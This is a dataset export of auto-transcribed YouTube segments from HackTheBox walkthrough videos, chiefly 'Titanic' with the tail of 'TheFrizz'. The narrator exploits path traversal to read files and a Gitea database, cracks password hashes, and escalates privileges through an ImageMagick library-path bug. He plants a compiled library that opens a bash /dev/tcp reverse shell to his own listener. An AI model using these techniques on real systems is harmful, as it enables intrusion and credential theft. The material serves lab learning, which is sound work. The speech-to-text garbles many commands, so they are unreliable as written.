text stringlengths 4 952 | start float64 0 9.37k | duration float64 0 0 | meta dict |
|---|---|---|---|
Let's see. Did the GPO like get deleted? | 2,648.319 | 0 | {
"video_id": "1fCOHQE6A6c",
"title": "HackTheBox - TheFrizz",
"url": "https://www.youtube.com/watch?v=1fCOHQE6A6c"
} |
Target That is bizarre. Let's see. | 2,658.4 | 0 | {
"video_id": "1fCOHQE6A6c",
"title": "HackTheBox - TheFrizz",
"url": "https://www.youtube.com/watch?v=1fCOHQE6A6c"
} |
Oh. Um, two dashes there. I think that's it. | 2,669.76 | 0 | {
"video_id": "1fCOHQE6A6c",
"title": "HackTheBox - TheFrizz",
"url": "https://www.youtube.com/watch?v=1fCOHQE6A6c"
} |
That is not it. Let's see. He doesn't not like how we have arguments because we have a dash here like if we did this in a single quote unknown argument error does it not like it's definitely not the space now okay um I think it was treating this dash as an argument um because it started a thing so I have powershell exe... | 2,678 | 0 | {
"video_id": "1fCOHQE6A6c",
"title": "HackTheBox - TheFrizz",
"url": "https://www.youtube.com/watch?v=1fCOHQE6A6c"
} |
Let's do GP update force updating policy and hopefully we get a shell in let's say 10 seconds. Uh, computer policy. There we go. And looking at this who am I/all, we're going to be the system user, right? Just do who am I? Entity authority system. So, I can go users um, administrator desktop and get the flag this way. ... | 2,716.16 | 0 | {
"video_id": "1fCOHQE6A6c",
"title": "HackTheBox - TheFrizz",
"url": "https://www.youtube.com/watch?v=1fCOHQE6A6c"
} |
What's going on, YouTube? This is IPS doing Titanic from Hack the Box, which is a nice easy box that starts off with a web page that supposedly cannot fail. | 0.08 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
It allows us to book trips on the Titanic. And this function is vulnerable to a file disclosure vulnerability. | 7.839 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Poking around, we also discover git t is running. And we can use this file disclosure vulnerability to dump the git tsqlite database crack credentials and SSH into the box. Poking around, we discover there is a cron that is running an outdated version of image magic. And going to Google, it shows this version is vulner... | 13.679 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22 and the banner tells us it's an Ubuntu server. The second port is HTTP on port 80 and it's running Apache and also the banner is Ubuntu and it's redirecting us to Titanic.htb. ... | 53.36 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Save that. And let's go ahead and check out the page. So, I'm going to go to http then titanic.htb and we just get a page that says welcome to the Titanic. So, we can click around to see if there's anything here. If we click book trip, we get some web form that pops up. Anything else? It looks like it's not like coded ... | 81.52 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
404 pages. So, if we just Google default default 404 pages, go to his blog and you can see a list of them here. So, we can see Flask and Django, they're pretty similar, right? But uh that's Flask and this is Django. Like not found one sentence, not found two sentences. It's kind of how I remember them. I don't remember... | 131.92 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Now, we could do a virtual host brute force or we could just start poking at the website, right? Um I would probably recommend doing a virtual host brute force just so you can have it running in the background, but I'm going to go and just book my trip, right? So, we're going to do ipsack route at ipsseack.rocks and we... | 160 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
I think that's it. Uh, let's do a travel date of one. We'll do 2026, I guess. And I'm going to send this over to Burpuite so we can see exactly what it's doing. | 180.4 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
You could also, if you didn't want to, just open up like dev tools and have this open and then see what the page does. I always just recommend it so when you submit it, you can see what happens, right? Right. So, in dev tools, you could click at it this way. Um, we did a post request of something. I guess I had to relo... | 192.08 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Because I have it in Burp Suite. I'm just going to send this over. | 214.959 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And now we can see it in this tab, right? It's trying to download a file. | 219.44 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
But if you wanted to, you don't need to use Burp for this. I think Burp just makes it a bit easier. But you can see all the information here, right? We sent a post to book and then we did a get on this file. And if we look at what we sent, we sent the form data and the response. | 224 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Um, I'm surprised the response doesn't tell us the JSON. I don't know exactly how it gets to that, but we have it here. Let's see. Send. | 242.159 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Okay, it's a 302 redirect. I'm not exactly sure why this didn't show it. Let's see. | 254.959 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Response. Okay, 303. So, we have to look at the headers to actually see it redirecting to that JSON file. | 263.04 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
But let's see. So, we sent this form and it redirects us to this. | 271.6 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And if it was just the UU ID, I would probably start trying like SQL injection. But because it put a file extension here, I'm thinking this could be like a file disclosure. Maybe it's like maybe the ticket is just a file on the database, right? So I'm going to just try the basic um path reversal of a bunch of dot dot s... | 278.24 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
weird files. Um, the web server likes just reading zero bytes because it sees zero bytes and then that's why we don't see things here. Sometimes you can put like a range header. I want to say like 0 to 104 bytes or something. I may be doing the range header incorrectly. | 337.6 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Um, sometimes that works, but I don't think it works here at all. So, um, the next thing I would probably try doing is going into like proc selfcwd and start extracting the source code of the application, right? So, if it's flask, it's probably going to be like app.py, serve.py, something like that. So, let's try app.p... | 354.16 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And we get it. So, we have the includes right here. And then just looking at this, I don't see any database. There's really nothing going on here. Um, so like we can just probably move on to try to enumerate something else. One of the things I will often do when having a file disclosure is try to see if I can enumerate... | 374.56 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And here we see there is a second host name dev.titanic.htb. | 424.4 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
If we did the virtual host enumeration earlier, we would have found this domain. But let's go ahead and add this to a host file. So, pseudo vets host. | 429.36 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And then we can add dev.titanic.htb and let's go take a look at this page. | 437.52 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So I'm going to go to devt titanic.htb and we get a gt instance. If I click on explorer we have flask app and docker config. The flask app looks like it's going to be the application. Oh, we're in docker config right here. Flask app looks like it is the application of the booking system. this the source that we had acc... | 442.639 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
that's where we get the 500 error. If this was like Java, Java has a weird quirk where if you open a directory and read, then it just acts like um it's a directory listing of text and you can print out the contents that way. But Python doesn't have that behavior. Um, so let's now look at the other things. | 499.199 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
If we go into docker config, we can see the config for git t, we just have this compose file and we're mapping home developer gett data into data. So let's see if we can access home developer, right? So let's go to /home. We get a500. That means it exists. Developer, it still exists. Uh, what was the next one? Was it d... | 518.32 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Uh 404 not found. It was not data. Get t data. So if we do get t get a 500 and then a 500. So we have confirmed we can go into the developers directory. Right? If we knew off the top of our head where like git t stores its config database and things like that, we could just go and grab it now. But I don't. I don't have... | 545.839 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Right? So now we can do docker compose exec. | 588.72 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So now we have a shell in the gt instance of our local thing. | 594.48 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And what was it? Like data. If I go in data, there's a git, get t, and ssh. So if I go into g get t, then we have conf log. I'm guessing there's going to be other things, but I don't have a full like instance of get t here. But if I go in comp, we have app.in. So that's what I want to read. So let's go back to burp and... | 600.8 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
We have a jwt secret. U there we go. The path is data gett. | 640.64 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Db. So now let's go ahead and put this here. | 647.2 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Uh we have two git ties back to back. | 651.76 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And there we go. We have the SQLite database. So what I'm going to do is copy this and then let's just curl it, right? So I'm going to do a curl um http dev. Titanic.htb this o gett db and we can do sqlite 3 gett db.dump. | 656.24 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Um, file is not a database. | 681.92 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Not found. | 690.48 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Oh, it's just itanic.htb, notdev. | 692.64 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
There we go. | 698.32 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And there we go. We have dumped get t. | 701.04 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So, we could do like a schema and find the users table, but there's so much data here. I'm just going to guess like select star from users. That's normally what is in database. Maybe user. And there we go. We have some data here. | 703.04 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Now, git t doesn't store the hash all in one column. It's in like multiple and sums like B 64. I think we'd have to like um unhex this then B 64 um encode it in order to get it into a hashcat format. And we've done that before, but I'm just going to Google like um what is it? get t to hashcat and we can probably find a... | 717.839 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Let's see right here probably because I know there's definitely a oneliner that will do it, but I'd rather just have a Python script. So, we can grab this. Let's go to view file uh raw. | 743.68 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
We can w get this. | 763.519 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So, w get the script. | 766.48 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And then, let's see. We probably got to go back twice to see how it's used. | 769.36 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Let's see. This is the poll. | 775.839 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
See, conversation commit. | 781.92 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
I was hoping there was like a discussion on how to use this. | 785.839 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Let's see. | 793.6 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Okay, there we go. You can also dump the output straight. I bet if I do dash python 3 get t to hashcat-h. | 795.44 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
There we go. So, we can either give it the salt the hash and then hash 2 or we can just run this command SQL 83 get t. | 804.72 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
DB select salt password from user and then pipe it over to this. So let's try this. | 812.56 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Um, chmod plus x get t do hashcat. | 821.92 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Uh, let's just do python 3. There we go. | 829.04 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
We have both the hashes. Um, I don't like that it didn't put the user in front of it, but um, we'll just go ahead and start Kraken real quick. So, cd kraken. Let's go into my hashcat directory. Uh, put in the hashes. | 833.12 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Titanic dot um I'll do get t paste these save. Then we can do dot slash hashcat the hashes opt word list rocku.ext text. | 847.76 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And then let's see. Um, we'll just add the user here. | 864.16 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Maybe it's like username. | 875.36 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Not exactly sure, but we did get one cracked already. So, we have this as a potential password. 25282 whatever. Um let's just do a where's my select from users? | 884.16 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Let's just go here. Select star from user. | 903.199 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Let's see administrator or developer. | 907.44 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So let's do view v users administrator developer. | 910.72 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And then I'm going to use net exec SSH uh 1010 11155-U users-p and we'll put in this password. | 916.72 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And let's see if we get a hit. And hashcat's still attempting to crack the um other one. But there we go. We have developer. So we can do sh developer at 1010 11155. | 928.32 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Uh yes, log in. | 941.839 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And here we go. I'm going to exit out of hashcat because we definitely don't need it now. | 945.12 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And let's see what do we have. Um, we do lsla. We just have user.ext my SQL get t. Uh, let's go. CD etsy Apache 2 sites enabled. Uh, we have our flask app and that's running on port 5000. LS for dubdubdub html. Don't have anything there. Get T is probably going to be a Docker. | 951.6 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
That's 30,00. Let's do groups. We're a member of a Docker group. We are not. I said Docker just because the um get t instance had a Docker compose, right? A lot of times Python applications are in /op. If we do SLOP, there is a app directory and that's probably going to be the Python application. But we also have scrip... | 979.6 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So if we go into scripts, we have one called identify images.sh. | 1,002.72 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So let's cat this out to see what it does. We're going to do a change directory to this. We're going to truncate S0 metadata.log and then we're going to run this command finding JPEGs and then piping it over to magic. So my first thing is let's do a lsla on this. And we see metadata.log is within a minute, right? So, w... | 1,008.079 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Uh, we can only see processes we start. | 1,039.199 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So, I'm not going to run like peace spy and try to snoop in on if there's a cron running this, how is this running? Um, we don't have access to see that. Let's see what else could we do. Um, if you're curious why we can't see other processes, if you look at the FS tab, um, let's see. | 1,041.839 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
I was pretty sure it's here. No exact rout hide pit two. There we go. Um this is going to hide the process of other users, right? | 1,062.64 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
But all we have now is we're assuming um this script is executed on a cron because metadata.log is from a very recent time. So let's see how we could potentially exploit this. Right, we have a find. It's looking for everything star.jpeg and this is quoted. So, we can't do any type of argument injection here, right? If ... | 1,071.52 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
But since that is quoted, we're locked into that name and can't do anything. | 1,097.52 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
We'll pipe into xergs and then we don't have any arguments here. We just have this magic binary. So, I'm going to execute this with a -v uh once dash version and let's see if there's any vulnerabilities in this. So, we got image magic. Uh, this. So, I'm going to go ahead and copy this. Let's turn my burp suite off so i... | 1,101.84 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Let's see. | 1,138.799 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So, installation auto detect vulnerable version. So, this is going to be a exploit script. I would probably work, but I'd rather just um look at exactly how this works. | 1,140.96 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Okay, this looks like it is. So, the app image version of image magic might use an empty path when setting configure path and LD library path, which can lead to arbitrary um code execution. So essentially this is a path injection vulnerability and it's going to give us I think two PC's um let's see this is getting it. ... | 1,155.28 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And then we can say, uh, we can actually just cat this file real quick. There we go. And then it just wants uh, magic. Let's do identify like this. | 1,195.84 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Um, what was that script? | 1,211.919 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Uh, it is doing it's probably um that XRS is putting the file name here. So, let's give it the um delegated.xml file. And we can see it's not going to work I think because um maybe it's just not vulnerable to um the identify. Let's see magic and then oh we have version identify unable to open. How are they running it? | 1,217.12 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
/out.png. | 1,267.28 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So if we have an out Oh wait, it did run. We I just saw the error message. Um so it looks like this works. So if we do this, we do get code execution. Now let me move this because it has to be a JPEG file, right? Because that's what our script is. If we go opc script and then this um it's reading only things that end i... | 1,270.72 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
But it also gives us a way to um abuse the LD preload or LD library. | 1,333.2 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So, if we have this, so all this is doing is creating a program. So, we can test this real quick. V. I'm just going to call this uh we'll do shell C. And then we have some compilation instructions. | 1,340.88 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Give it shell. C. | 1,357.2 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Okay. So now we have this library here. | 1,359.76 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And if magic is ran when this is in the current working directory, it's saying that this will lead to code execution. | 1,364 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So let's just do magic identify. I can give this JPEG file again. And there we go. We have a ID. So, let's go ahead and modify our shell. C. And I'm just going to do bash- c- i dev tcp 1010 10148 91 0 and 1. There we go. | 1,370.08 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Run that gcc command again to compile it. And then I'm going to do nclvmpp 90001. | 1,396.559 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And then when we run magic, we get a shell. Awesome. | 1,404.559 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
So now we just have to do this again, but put it where this directory is. So I'm going to copy my lib xcb whatever over into this directory. We can run date. And I'm guessing in 30 seconds, um, what's going to happen is this script is going to get ran. It's going to change directories into this. We're going to erase th... | 1,410.08 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
And then when it runs this, because um the file we just copied, this lib xcb.so.1 library exist. When magic loads, it's going to load this library, which is going to send us a shell if we are listening. Uh lvnp 9,0001. It would definitely help if we're listening. Uh so 4 seconds. So three, two, one, shell. | 1,435.44 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
There we go. Awesome. Awesome. I didn't have to do editing magic for that. That just magically worked out. If we go to root, we have root.ext. So, that is going to be the box. Hope you guys enjoyed it. Take care and I will see you all next | 1,460.72 | 0 | {
"video_id": "2tQ3VhdwVsU",
"title": "HackTheBox - Titanic",
"url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.